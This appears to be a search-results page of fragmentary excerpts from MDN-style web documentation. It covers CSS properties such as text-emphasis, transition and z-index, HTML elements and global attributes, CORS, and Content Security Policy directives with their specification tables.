text-emphasis-color - CSS: Cascading Style Sheets
/* initial value */ text-emphasis-color: currentcolor; /* <color> */ text-emphasis-color: #555; text-emphasis-color: blue; text-emphasis-color: rgba(90, 200, 160, 0.8); text-emphasis-color: transparent; /* global values */ text-emphasis-color: inherit; text-emphasis-color: initial; text-emphasis-color: unset; syntax values <color> defines the color of the emphasis marks.
... formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples emphasis with a color and custom character css em { text-emphasis-color: green; text-emphasis-style: "*"; } html <p>here's an example:</p> <em>this has emphasis marks!</em> result specifications specification status comment css text decoration module level 3the definition of 'text-emphasis' in that specification.
... candidate recommendation initial definition ...
text-emphasis-position - CSS: Cascading Style Sheets
/* initial value */ text-emphasis-position: over right; /* keywords value */ text-emphasis-position: over left; text-emphasis-position: under right; text-emphasis-position: under left; text-emphasis-position: left over; text-emphasis-position: right under; text-emphasis-position: left under; /* global values */ text-emphasis-position: inherit; text-emphasis-position: initial; text-emphasis-position: unset; syntax values over draw marks over the text in horizontal writing mode.
... formal definition initial valueover rightapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ over | under ] && [ right | left ] examples preferring ruby over emphasis marks some editors prefer to hide emphasis marks when they conflict with ruby.
...in html, this can be done with the following pattern: em { text-emphasis: dot; /* set text-emphasis for <em> elements */ } em rt { display: none; /* hide ruby inside <em> elements */ } specifications specification status comment css text decoration module level 3the definition of 'text-emphasis' in that specification.
... candidate recommendation initial definition ...
text-emphasis-style - CSS: Cascading Style Sheets
/* initial value */ text-emphasis-style: none; /* no emphasis marks */ /* <string> values */ text-emphasis-style: 'x'; text-emphasis-style: '点'; text-emphasis-style: '\25b2'; text-emphasis-style: '*'; text-emphasis-style: 'foo'; /* should not be used.
... it may be computed to or rendered as 'f' only */ /* keyword values */ text-emphasis-style: filled; text-emphasis-style: open; text-emphasis-style: dot; text-emphasis-style: circle; text-emphasis-style: double-circle; text-emphasis-style: triangle; text-emphasis-style: filled sesame; text-emphasis-style: open sesame; /* global values */ text-emphasis-style: inherit; text-emphasis-style: initial; text-emphasis-style: unset; syntax values none no emphasis marks.
... formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | [ [ filled | open ] | [ dot | circle | double-circle | triangle | sesame ] ] | <string> examples h2 { text-emphasis-style: sesame; } specifications specification status comment css text decoration module level 3the definition of 'text-emp...
... candidate recommendation initial definition ...
text-orientation - CSS: Cascading Style Sheets
syntax /* keyword values */ text-orientation: mixed; text-orientation: upright; text-orientation: sideways-right; text-orientation: sideways; text-orientation: use-glyph-orientation; /* global values */ text-orientation: inherit; text-orientation: initial; text-orientation: unset; the text-orientation property is specified as a single keyword from the list below.
... formal definition initial valuemixedapplies toall elements, except table row groups, rows, column groups, and columnsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax mixed | upright | sideways examples html <p>lorem ipsum dolet semper quisquam.</p> css p { writing-mode: vertical-rl; text-orientation: upright; } result specifications specification status ...
...comment css writing modes module level 3the definition of 'text-orientation' in that specification.
... proposed recommendation initial definition.
text-size-adjust - CSS: Cascading Style Sheets
/* keyword values */ text-size-adjust: none; text-size-adjust: auto; /* <percentage> value */ text-size-adjust: 80%; /* global values */ text-size-adjust: inherit; text-size-adjust: initial; text-size-adjust: unset; because many websites have not been developed with small devices in mind, mobile browsers differ from desktop browsers in the way they render web pages.
... formal definition initial valueauto for smartphone browsers supporting inflation, none in other cases (and then not modifiable).applies toall elementsinheritedyespercentagesyes, refer to the corresponding size of the text fontcomputed valueas specifiedanimation typediscrete formal syntax none | auto | <percentage> examples basic disabling usage as hinted at above, on a properly designed responsive site th...
...e text-size-adjust behavior is not needed, so developers can elect to turn it off by specifying a vlaue of none: p { -webkit-text-size-adjust: none; text-size-adjust: none; } specifications specification status comment css mobile text size adjustment module level 1the definition of 'text-size-adjust' in that specification.
... editor's draft initial definition ...
text-underline-offset - CSS: Cascading Style Sheets
syntax /* single keyword */ text-underline-offset: auto; /* length */ text-underline-offset: 0.1em; text-underline-offset: 3px; /* percentage */ text-underline-offset: 20%; /* global values */ text-underline-offset: inherit; text-underline-offset: initial; text-underline-offset: unset; the text-underline-offset property is specified as a single value from the list below.
... formal definition initial valueautoapplies toall elements.
...only the bottom one is offset.</p> p { text-decoration: underline wavy red; text-underline-offset: 1em; } .twolines { text-decoration-color: purple; text-decoration-line: underline overline; } specifications specification status comment css text decoration module level 4the definition of 'text-underline-offset' in that specification.
... working draft initial definition.
text-underline-position - CSS: Cascading Style Sheets
syntax /* single keyword */ text-underline-position: auto; text-underline-position: under; text-underline-position: left; text-underline-position: right; /* multiple keywords */ text-underline-position: under left; text-underline-position: right under; /* global values */ text-underline-position: inherit; text-underline-position: initial; text-underline-position: unset; syntax values auto the user agent uses its own algorithm to place the line at or under the alphabetic baseline.
... formal definition initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | from-font | [ under | [ left | right ] ] examples a simple example let's take a couple of simple example paragraphs: <p class="horizontal">lorem ipsum dolor sit amet, consectetur adipiscing elit.
... :root { text-underline-position: under; } specifications specification status comment css text decoration module level 3the definition of 'text-underline-position' in that specification.
... candidate recommendation initial definition ...
transform-style - CSS: Cascading Style Sheets
syntax /* keyword values */ transform-style: flat; transform-style: preserve-3d; /* global values */ transform-style: inherit; transform-style: initial; transform-style: unset; values flat indicates that the children of the element are lying in the plane of the element itself.
... formal definition initial valueflatapplies totransformable elementsinheritednocomputed valueas specifiedanimation typediscretecreates stacking contextyes formal syntax flat | preserve-3d examples transform style demonstration in this example we have a 3d cube created using transforms.
... const cube = document.getelementbyid('example-element'); const checkbox = document.getelementbyid('preserve'); checkbox.addeventlistener('change', () => { if(checkbox.checked) { cube.style.transformstyle = 'preserve-3d'; } else { cube.style.transformstyle = 'flat'; } }) result specifications specification status comment css transforms level 2the definition of 'transform-style' in that specification.
... editor's draft initial definition.
transition-delay - CSS: Cascading Style Sheets
syntax /* <time> values */ transition-delay: 3s; transition-delay: 2s, 4ms; /* global values */ transition-delay: inherit; transition-delay: initial; transition-delay: unset; values <time> denotes the amount of time to wait between a property's value changing and the start of the transition effect.
... formal definition initial value0sapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <time># examples transition-delay: 0.5s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px; background-color: red; font-size: 20px; left: 0px; top: 0px; position:absolute; -webkit-transition-property: width height background-color font-size left top color; -webkit-transition-duration:2s; -webkit-transition-delay:0.5s; -webkit-transition-timing-function: linear; transition-property: width height background-color font-size left top color; transition-duration:2s; transition-delay:...
... ease-in-out; } function updatetransition() { var el = document.queryselector("div.box"); if (el) { el.classname = "box1"; } else { el = document.queryselector("div.box1"); el.classname = "box"; } return el; } var intervalid = window.setinterval(updatetransition, 7000); specifications specification status comment css transitionsthe definition of 'transition-delay' in that specification.
... working draft initial definition ...
transition-duration - CSS: Cascading Style Sheets
syntax /* <time> values */ transition-duration: 6s; transition-duration: 120ms; transition-duration: 1s, 15s; transition-duration: 10s, 30s, 230ms; /* global values */ transition-duration: inherit; transition-duration: initial; transition-duration: unset; values <time> is a <time> denoting the amount of time the transition from the old value of a property to the new value should take.
... formal definition initial value0sapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <time># examples transition-duration: 0.5s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px; background-color: red; font-size: 20px; left: 0px; top: 0px; position:absolute; -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color; -webkit-transition-duration:0.5...
... ease-in-out; } function updatetransition() { var el = document.queryselector("div.box"); if (el) { el.classname = "box1"; } else { el = document.queryselector("div.box1"); el.classname = "box"; } return el; } var intervalid = window.setinterval(updatetransition, 7000); specifications specification status comment css transitionsthe definition of 'transition-duration' in that specification.
... working draft initial definition ...
transition-property - CSS: Cascading Style Sheets
property: none; transition-property: all; /* <custom-ident> values */ transition-property: test_05; transition-property: -specific; transition-property: sliding-vertically; /* multiple values */ transition-property: test1, animation4; transition-property: all, height, color; transition-property: all, -moz-specific, sliding; /* global values */ transition-property: inherit; transition-property: initial; transition-property: unset; values none no properties will transition.
... formal definition initial valueallapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | <single-transition-property>#where <single-transition-property> = all | <custom-ident> examples there are several examples of css transitions included in the main css transitions article.
... specifications specification status comment css transitionsthe definition of 'transition-property' in that specification.
... working draft initial definition ...
translate - CSS: Cascading Style Sheets
WebCSStranslate
formal definition initial valuenoneapplies totransformable elementsinheritednopercentagesrefer to the size of bounding boxcomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typea transformcreates stacking contextyes formal syntax none | <length-percentage> [ <length-percentage> <length>?
...s-serif; } div { width: 150px; margin: 0 auto; } p { padding: 10px 5px; border: 3px solid black; border-radius: 20px; width: 150px; font-size: 1.2rem; text-align: center; } .translate { transition: translate 1s; } div:hover .translate { translate: 200px 50px; } result specifications specification status comment css transforms level 2the definition of 'individual transforms' in that specification.
... editor's draft initial definition.
... initial valuenoneapplies totransformable elementsinheritednopercentagesrefer to the size of bounding boxcomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typea transformcreates stacking contextyes ...
Used value - CSS: Cascading Style Sheets
then, css 2.1 introduced the distinct definition of used value.
... used value: (taken from css 2.1 changes: specified, computed, and actual values): background-position bottom, left, right, top height, width margin-bottom, margin-left, margin-right, margin-top min-height, min-width padding-bottom, padding-left, padding-right, padding-top text-indent specification specification status comment css level 2 (revision 2)the definition of 'used value' in that specification.
... css level 2 (revision 1)the definition of 'used value' in that specification.
... recommendation initial definition.
z-index - CSS: Cascading Style Sheets
WebCSSz-index
syntax /* keyword value */ z-index: auto; /* <integer> values */ z-index: 0; z-index: 3; z-index: 289; z-index: -1; /* negative values to lower the priority */ /* global values */ z-index: inherit; z-index: initial; z-index: unset; the z-index property is specified as either the keyword auto or an <integer>.
... formal definition initial valueautoapplies topositioned elementsinheritednocomputed valueas specifiedanimation typean integercreates stacking contextyes formal syntax auto | <integer> examples visually layering elements html <div class="dashed-box">dashed box <span class="gold-box">gold box</span> <span class="green-box">green box</span> </div> css .dashed-box { position: relative; z-index: 1;...
...ove .green-box and .dashed-box */ background: gold; width: 80%; left: 60px; top: 3em; } .green-box { position: absolute; z-index: 2; /* put .green-box above .dashed-box */ background: lightgreen; width: 20%; left: 65%; top: -25px; height: 7em; opacity: 0.9; } result specifications specification status comment css level 2 (revision 1)the definition of 'z-index' in that specification.
... recommendation initial definition ...
HTML attribute: readonly - HTML: Hypertext Markup Language
the attribute is not supported or relevant to <select> or input types that are already not mutable, such as checkbox and radio or cannot, by definition, start with a value, such as the file input type.
...bel> <input type="radio" name="radio" value="regular"> regular </label></p> <p><label> <input type="radio" name="radio" value="readonly" readonly> readonly </label></p> <p><label> <input type="radio" name="radio" value="disabled" disabled> disabled </label></p> </fieldset> specifications specification status comment html living standardthe definition of 'readonly attribute' in that specification.
... living standard html5the definition of 'readonly attribute' in that specification.
... recommendation html 5.1the definition of 'readonly attribute' in that specification.
<a>: The Anchor element - HTML: Hypertext Markup Language
WebHTMLElementa
hand tremors and the giant-button-problem specifications specification status comment referrer policythe definition of 'referrer attribute' in that specification.
... html living standardthe definition of '<a>' in that specification.
... living standard html5the definition of '<a>' in that specification.
... recommendation html 4.01 specificationthe definition of '<a>' in that specification.
<address>: The Contact Address element - HTML: Hypertext Markup Language
WebHTMLElementaddress
in the latest spec versions however, its definition has been updated so it can now be used to mark up arbitrary addresses.
... specifications specification status comment html living standardthe definition of '<address>' in that specification.
... living standard html5the definition of '<address>' in that specification.
... recommendation html 4.01 specificationthe definition of '<address>' in that specification.
<applet>: The Embed Java Applet element - HTML: Hypertext Markup Language
WebHTMLElementapplet
example html <applet code="game.class" align="left" archive="game.zip" height="250" width="350"> <param name="difficulty" value="easy"> <b>sorry, you need java to play this game.</b> </applet> specifications specification status comment html 5.2the definition of '<applet>' in that specification.
... recommendation html 5.1the definition of '<applet>' in that specification.
... recommendation html5the definition of '<applet>' in that specification.
... recommendation made obsolete html 4.01 specificationthe definition of '<applet>' in that specification.
<area> - HTML: Hypertext Markup Language
WebHTMLElementarea
me="primary"> <area shape="circle" coords="75,75,75" href="left.html" alt="click to go left"> <area shape="circle" coords="275,75,75" href="right.html" alt="click to go right"> </map> <img usemap="#primary" src="https://udn.realityripple.com/samples/6a/7e559101b3.png" alt="350 x 150 pic"> result specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
... html living standardthe definition of '<area>' in that specification.
... living standard html5the definition of '<area>' in that specification.
... recommendation html 4.01 specificationthe definition of '<area>' in that specification.
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
WebHTMLElementaudio
if the media has no known end (such as for live streams of unknown duration, web radio, media incoming from webrtc, and so forth), this value is +infinity.
... muted a boolean attribute that indicates whether the audio will be initially silenced.
... implicit aria role no corresponding role permitted aria roles application dom interface htmlaudioelement specifications specification status comment html living standardthe definition of '<audio>' in that specification.
... living standard html5the definition of '<audio>' in that specification.
<button>: The Button element - HTML: Hypertext Markup Language
WebHTMLElementbutton
reset: the button resets all the controls to their initial values, like <input type="reset">.
... mobile browsers ios 7.1.2 android 4.4.4 safari mobile no (even with a tabindex) n/a chrome 35 no (even with a tabindex) yes specifications specification status comment html living standardthe definition of '<button>' in that specification.
... living standard html5the definition of '<button>' in that specification.
... recommendation html 4.01 specificationthe definition of '<button>' in that specification.
<col> - HTML: Hypertext Markup Language
WebHTMLElementcol
specifications specification status comment html living standardthe definition of '<col>' in that specification.
... living standard html5the definition of '<col>' in that specification.
... recommendation html 4.01 specificationthe definition of '<col>' in that specification.
... recommendation initial definition ...
<dl>: The Description List element - HTML: Hypertext Markup Language
WebHTMLElementdl
codepen - html buddies: dt & dd specifications specification status comment html living standardthe definition of '<dl>' in that specification.
... living standard html5the definition of '<dl>' in that specification.
... recommendation html 4.01 specificationthe definition of '<dl>' in that specification.
... recommendation initial definition ...
<em>: The Emphasis element - HTML: Hypertext Markup Language
WebHTMLElementem
the <em> element represents stress emphasis of its contents, while the <i> element represents text that is set off from the normal prose, such a foreign word, fictional character thoughts, or when the text refers to the definition of a word instead of representing its semantic meaning.
...</p> result specifications specification status comment html living standardthe definition of '<em>' in that specification.
... living standard html5the definition of '<em>' in that specification.
... recommendation html 4.01 specificationthe definition of '<em>' in that specification.
<fieldset>: The Field Set element - HTML: Hypertext Markup Language
WebHTMLElementfieldset
implicit aria role group permitted aria roles radiogroup, presentation, none dom interface htmlfieldsetelement specifications specification status comment html living standardthe definition of '<fieldset>' in that specification.
... living standard definition of the fieldset element html5the definition of '<fieldset>' in that specification.
... recommendation html 4.01 specificationthe definition of '<fieldset>' in that specification.
... recommendation initial definition ...
<form> - HTML: Hypertext Markup Language
WebHTMLElementform
name: <input name="submitted-name" autocomplete="name"> </label> <button>save</button> </form> <!-- form with fieldset, legend, and label --> <form method="post"> <fieldset> <legend>title</legend> <label><input type="radio" name="radio"> select me</label> </fieldset> </form> specifications specification status comment html living standardthe definition of '<form>' in that specification.
... living standard html5the definition of '<form>' in that specification.
... recommendation html 4.01 specificationthe definition of '<form>' in that specification.
... recommendation initial definition ...
<html>: The HTML Document / Root element - HTML: Hypertext Markup Language
WebHTMLElementhtml
version specifies the version of the html document type definition that governs the current document.
... mdn understanding wcag, guideline 3.1 explanations understanding success criterion 3.1.1 | w3c understanding wcag 2.0 specifications specification status comment html living standardthe definition of '<html>' in that specification.
... living standard html5the definition of '<html>' in that specification.
... obsoleted the version attribute html 4.01 specificationthe definition of '<html>' in that specification.
<i>: The Idiomatic Text element - HTML: Hypertext Markup Language
WebHTMLElementi
a browser will typically still display the contents of the <i> element in italic type, but is, by definition, no longer required to do so.
... <p>the latin phrase <i>veni, vidi, vici</i> is often mentioned in music, art, and literature.</p> result specifications specification status comment html living standardthe definition of '<i>' in that specification.
... living standard html5the definition of '<i>' in that specification.
... recommendation html 4.01 specificationthe definition of '<b>' in that specification.
<input type="file"> - HTML: Hypertext Markup Language
WebHTMLElementinputfile
turnfilesize(number) { if(number < 1024) { return number + 'bytes'; } else if(number >= 1024 && number < 1048576) { return (number/1024).tofixed(1) + 'kb'; } else if(number >= 1048576) { return (number/1048576).tofixed(1) + 'mb'; } } the example looks like this; have a play: specifications specification status comment html living standardthe definition of '<input type="file">' in that specification.
... living standard initial definition html 5.1the definition of '<input type="file">' in that specification.
... recommendation initial definition html media capturethe definition of 'capture attribute' in that specification.
... recommendation initial capture attribute ...
<input type="number"> - HTML: Hypertext Markup Language
WebHTMLElementinputnumber
note: any number is an acceptable value, as long as it is a valid floating point number (that is, not nan or infinity).
... we've hidden the feet and inches inputs initially using style="display: none;", so that meters is the default entry type.
... specifications specification status comment html living standardthe definition of '<input type="number">' in that specification.
... living standard initial definition ...
<input type="search"> - HTML: Hypertext Markup Language
WebHTMLElementinputsearch
if incremental is not specified, the search event is only sent when the user explicitly initiates a search (such as by pressing the enter or return key while editing the field).
... specifications specification status comment html living standardthe definition of '<input type="search">' in that specification.
... living standard initial definition html 5.1the definition of '<input type="search">' in that specification.
... recommendation initial definition ...
<kbd>: The Keyboard Input element - HTML: Hypertext Markup Language
WebHTMLElementkbd
<p>if a syntax error occurs, the tool will output the initial command you typed for your review:</p> <blockquote> <samp><kbd>custom-git ad my-new-file.cpp</kbd></samp> </blockquote> representing onscreen input options nesting a <samp> element inside a <kbd> element represents input which is based on text presented by the system, such as the names of menus and menu items, or the names of buttons displayed on the screen.
... result specifications specification status comment html living standardthe definition of '<kbd>' in that specification.
... living standard html5the definition of '<kbd>' in that specification.
... html 4.01 specificationthe definition of '<kbd>' in that specification.
<legend> - HTML: Hypertext Markup Language
WebHTMLElementlegend
specifications specification status comment html living standardthe definition of '<legend>' in that specification.
... living standard definition of the legend element html5the definition of '<legend>' in that specification.
... recommendation html 4.01 specificationthe definition of '<legend>' in that specification.
... recommendation initial definition ...
<main> - HTML: Hypertext Markup Language
WebHTMLElementmain
specifications specification status comment html living standardthe definition of '<main>' in that specification.
... living standard html 5.1the definition of '<main>' in that specification.
... html5the definition of '<main>' in that specification.
... recommendation initial definition.
<map> - HTML: Hypertext Markup Language
WebHTMLElementmap
map="#primary" src="https://udn.realityripple.com/samples/6a/7e559101b3.png" alt="350 x 150 pic"> result expected live example output the live example above should appear similar to the following images (when using your keyboard tab key): for the left.html link: for the right.html link specifications specification status comment html living standardthe definition of '<map>' in that specification.
... living standard html5the definition of '<map>' in that specification.
... recommendation html 4.01 specificationthe definition of '<map>' in that specification.
... recommendation initial definition ...
<nav>: The Navigation Section element - HTML: Hypertext Markup Language
WebHTMLElementnav
user agents, such as screen readers targeting disabled users, can use this element to determine whether to omit the initial rendering of navigation-only content.
... <nav class="menu"> <ul> <li><a href="#">home</a></li> <li><a href="#">about</a></li> <li><a href="#">contact</a></li> </ul> </nav> specifications specification status comment html living standardthe definition of '<nav>' in that specification.
... html5the definition of '<nav>' in that specification.
... recommendation initial definition ...
<p>: The Paragraph element - HTML: Hypertext Markup Language
WebHTMLElementp
if extra space is desired, use css properties like margin to create the effect: p { margin-bottom: 2em; // increase white space after a paragraph } specifications specification status comment html living standardthe definition of '<p>' in that specification.
... living standard no change since the latest w3c snapshot html5 html5the definition of '<p>' in that specification.
... recommendation align attribute is obsolete html 4.01 specificationthe definition of '<p>' in that specification.
... recommendation initial definition ...
<q>: The Inline Quotation element - HTML: Hypertext Markup Language
WebHTMLElementq
example <p>according to mozilla's website, <q cite="https://www.mozilla.org/about/history/details/">firefox 1.0 was released in 2004 and became a big success.</q></p> specifications specification status comment html living standardthe definition of '<q>' in that specification.
... living standard html5the definition of '<q>' in that specification.
... recommendation html 4.01 specificationthe definition of '<q>' in that specification.
... recommendation initial definition ...
<rtc>: The Ruby Text Container element - HTML: Hypertext Markup Language
WebHTMLElementrtc
examples <div class="info"> <ruby> <rbc> <rb>旧</rb><rt>jiù</rt> <rb>金</rb><rt>jīn</rt> <rb>山</rb><rt>shān</rt> </rbc> <rtc>san francisco</rtc> </ruby> </div> .info { padding-top: 10px; font-size: 36px; } specifications specification status comment html 5.2the definition of '<rtc>' in that specification.
... recommendation html 5.1the definition of '<rtc>' in that specification.
... recommendation html5the definition of '<rtc>' in that specification.
... recommendation initial definition.
<select>: The HTML Select element - HTML: Hypertext Markup Language
WebHTMLElementselect
<!-- the second value will be selected initially --> <select name="choice"> <option value="first">first value</option> <option value="second" selected>second value</option> <option value="third">third value</option> </select> advanced select with multiple features the follow example is more complex, showing off more features you can use on a <select> element: <label>please choose one or more pets: <select name="pets" multiple...
... implicit aria role combobox with no multiple attribute and no size attribute greater than 1, otherwise listbox permitted aria roles menu with no multiple attribute and no size attribute greater than 1, otherwise no role permitted dom interface htmlselectelement specifications specification status comments html living standardthe definition of '<select>' in that specification.
... living standard html5the definition of '<select>' in that specification.
... recommendation html 4.01 specificationthe definition of '<select>' in that specification.
<time> - HTML: Hypertext Markup Language
WebHTMLElementtime
4:54:39.929-04:00 a valid duration string pt4h18m3s examples simple example html <p>the concert starts at <time datetime="2018-07-07t20:00:00">20:00</time>.</p> output datetime example html <p>the concert took place on <time datetime="2001-05-15t19:00">may 15</time>.</p> output specifications specification status comment html living standardthe definition of '<time>' in that specification.
... living standard no change from html 5.1 html 5.1the definition of '<time>' in that specification.
... recommendation no change from html5 html5the definition of '<time>' in that specification.
... recommendation initial definition.
class - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'class' in that specification.
... living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'class' in that specification.
... recommendation snapshot of html living standard, no change from html5 html5the definition of 'class' in that specification.
... html 4.01 specificationthe definition of 'class' in that specification.
data-* - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'data-*' in that specification.
... living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'data-*' in that specification.
... recommendation snapshot of html living standard, no change from html5 html5the definition of 'data-*' in that specification.
... recommendation snapshot of html living standard, initial definition.
dir - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'dir' in that specification.
... living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'dir' in that specification.
... recommendation snapshot of html living standard, no change from html5 html5the definition of 'dir' in that specification.
... html 4.01 specificationthe definition of 'dir' in that specification.
draggable - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'draggable' in that specification.
... living standard no change from latest snapshot, html 5.1 html 5.2the definition of 'draggable' in that specification.
... recommendation no change html 5.1the definition of 'draggable' in that specification.
... recommendation snapshot of html living standard, initial definition ...
hidden - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'hidden' in that specification.
... living standard no change from latest snapshot, html 5.1 html living standardthe definition of 'hidden elements' in that specification.
... living standard defines the suggested default rendering of the hidden attribute using css html 5.1the definition of 'hidden' in that specification.
... recommendation snapshot of html living standard, initial definition ...
id - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'id' in that specification.
... living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'id' in that specification.
... recommendation snapshot of html living standard, no change from html5 html5the definition of 'id' in that specification.
... html 4.01 specificationthe definition of 'id' in that specification.
lang - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'lang' in that specification.
... living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'lang' in that specification.
... recommendation snapshot of html living standard, no change from html5 html5the definition of 'lang' in that specification.
... html 4.01 specificationthe definition of 'lang' in that specification.
style - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'style' in that specification.
... living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'style' in that specification.
... recommendation snapshot of html living standard, no change from html5 html5the definition of 'style' in that specification.
... html 4.01 specificationthe definition of 'style' in that specification.
tabindex - HTML: Hypertext Markup Language
using the tabindex attribute | the paciello group specifications specification status comment html living standardthe definition of 'tabindex' in that specification.
... html 5.1the definition of 'tabindex' in that specification.
... html5the definition of 'tabindex' in that specification.
... html 4.01 specificationthe definition of 'tabindex' in that specification.
title - HTML: Hypertext Markup Language
semantics, structure, and apis of html documents using the html title attribute – updated | the paciello group tooltips & toggletips - inclusive components the trials and tribulations of the title attribute - 24 accessibility specifications specification status comment html living standardthe definition of 'title' in that specification.
... living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'title' in that specification.
... recommendation snapshot of html living standard, no change from html5 html5the definition of 'title' in that specification.
... html 4.01 specificationthe definition of 'title' in that specification.
Cross-Origin Resource Sharing (CORS) - HTTP
WebHTTPCORS
for security reasons, browsers restrict cross-origin http requests initiated from scripts.
... origin: <origin> the origin is a uri indicating the server from which the request initiated.
... specifications specification status comment fetchthe definition of 'cors' in that specification.
... living standard new definition; supplants w3c cors specification.
CSP: base-uri - HTTP
use this sparingly and definitely not for scripts.
... <meta http-equiv="content-security-policy" content="base-uri 'self'"> <base href="https://example.com/"> // error: refused to set the document's base uri to 'https://example.com/' // because it violates the following content security policy // directive: "base-uri 'self'" specifications specification status comment content security policy level 3the definition of 'base-uri' in that specification.
... content security policy level 2the definition of 'base-uri' in that specification.
... recommendation initial definition.
CSP: child-src - HTTP
use this sparingly and definitely not for scripts.
...s violation cases given this csp header: content-security-policy: child-src https://example.com/ this <iframe> and worker are blocked and won't load: <iframe src="https://not-example.com"></iframe> <script> var blockedworker = new worker("data:application/javascript,..."); </script> specifications specification status comment content security policy level 3the definition of 'child-src' in that specification.
... content security policy level 2the definition of 'child-src' in that specification.
... recommendation initial definition.
CSP: connect-src - HTTP
use this sparingly and definitely not for scripts.
...}); </script> specifications specification status comment content security policy level 3the definition of 'connect-src' in that specification.
... content security policy level 2the definition of 'connect-src' in that specification.
... recommendation initial definition.
CSP: default-src - HTTP
use this sparingly and definitely not for scripts.
...src 'self'; manifest-src 'self'; media-src 'self'; object-src 'self'; script-src https://example.com; style-src 'self'; worker-src 'self' specifications specification status comment content security policy level 3the definition of 'default-src' in that specification.
... content security policy level 2the definition of 'default-src' in that specification.
... recommendation initial definition.
CSP: font-src - HTTP
use this sparingly and definitely not for scripts.
...iven this csp header: content-security-policy: font-src https://example.com/ the following font resource loading is blocked and won't load: <style> @font-face { font-family: "myfont"; src: url("https://not-example.com/font"); } body { font-family: "myfont"; } </style> specifications specification status comment content security policy level 3the definition of 'font-src' in that specification.
... content security policy level 2the definition of 'font-src' in that specification.
... recommendation initial definition.
CSP: form-action - HTTP
use this sparingly and definitely not for scripts.
... specifications specification status comment content security policy level 3the definition of 'form-action' in that specification.
... content security policy level 2the definition of 'form-action' in that specification.
... recommendation initial definition.
CSP: frame-ancestors - HTTP
use this sparingly and definitely not for scripts.
... examples content-security-policy: frame-ancestors 'none'; content-security-policy: frame-ancestors 'self' https://www.example.org; specifications specification status comment content security policy level 3the definition of 'frame-ancestors' in that specification.
... content security policy level 2the definition of 'frame-ancestors' in that specification.
... recommendation initial definition.
CSP: img-src - HTTP
use this sparingly and definitely not for scripts.
... examples violation cases given this csp header: content-security-policy: img-src https://example.com/ the following <img> is blocked and won't load: <img src="https://not-example.com/foo.jpg" alt="example picture"> specifications specification status comment content security policy level 3the definition of 'img-src' in that specification.
... content security policy level 2the definition of 'img-src' in that specification.
... recommendation initial definition.
CSP: media-src - HTTP
use this sparingly and definitely not for scripts.
...: media-src https://example.com/ the following <audio>, <video> and <track> elements are blocked and won't load: <audio src="https://not-example.com/audio"></audio> <video src="https://not-example.com/video"> <track kind="subtitles" src="https://not-example.com/subtitles"> </video> specifications specification status comment content security policy level 3the definition of 'media-src' in that specification.
... content security policy level 2the definition of 'media-src' in that specification.
... recommendation initial definition.
CSP: object-src - HTTP
use this sparingly and definitely not for scripts.
...licy: object-src https://example.com/ the following <object>, <embed>, and <applet> elements are blocked and won't load: <embed src="https://not-example.com/flash"></embed> <object data="https://not-example.com/plugin"></object> <applet archive="https://not-example.com/java"></applet> specifications specification status comment content security policy level 3the definition of 'object-src' in that specification.
... content security policy level 2the definition of 'object-src' in that specification.
... recommendation initial definition.
CSP: sandbox - HTTP
allow-top-navigation-by-user-activation lets the resource navigate the top-level browsing context, but only if initiated by a user gesture.
... examples content-security-policy: sandbox allow-scripts; specifications specification status comment content security policy level 3the definition of 'sandbox' in that specification.
... content security policy level 2the definition of 'sandbox' in that specification.
... recommendation initial definition.
CSP: script-src - HTTP
use this sparingly and definitely not for scripts.
... specifications specification status comment content security policy level 3the definition of 'script-src' in that specification.
... content security policy level 2the definition of 'script-src' in that specification.
... recommendation initial definition.
CSP: style-src - HTTP
use this sparingly and definitely not for scripts.
...if 'unsafe-eval' isn't specified with the style-src directive, the following methods are blocked and won't have any effect: cssstylesheet.insertrule() cssgroupingrule.insertrule() cssstyledeclaration.csstext specifications specification status comment content security policy level 3the definition of 'style-src' in that specification.
... content security policy level 2the definition of 'style-src' in that specification.
... recommendation initial definition.
Feature-Policy: display-capture - HTTP
if display-capture is disabled in a document, the document will not be able to initiate screen capture via getdisplaymedia().
... specifications specification status comment feature policy editor's draft initial definition.
... screen capturethe definition of 'display-capture' in that specification.
... working draft feature policy directive definition.
Protocol upgrade mechanism - HTTP
effectively, the connection becomes a two-way pipe as soon as the upgraded response is complete, and the request that initiated the upgrade can be completed over the new protocol.
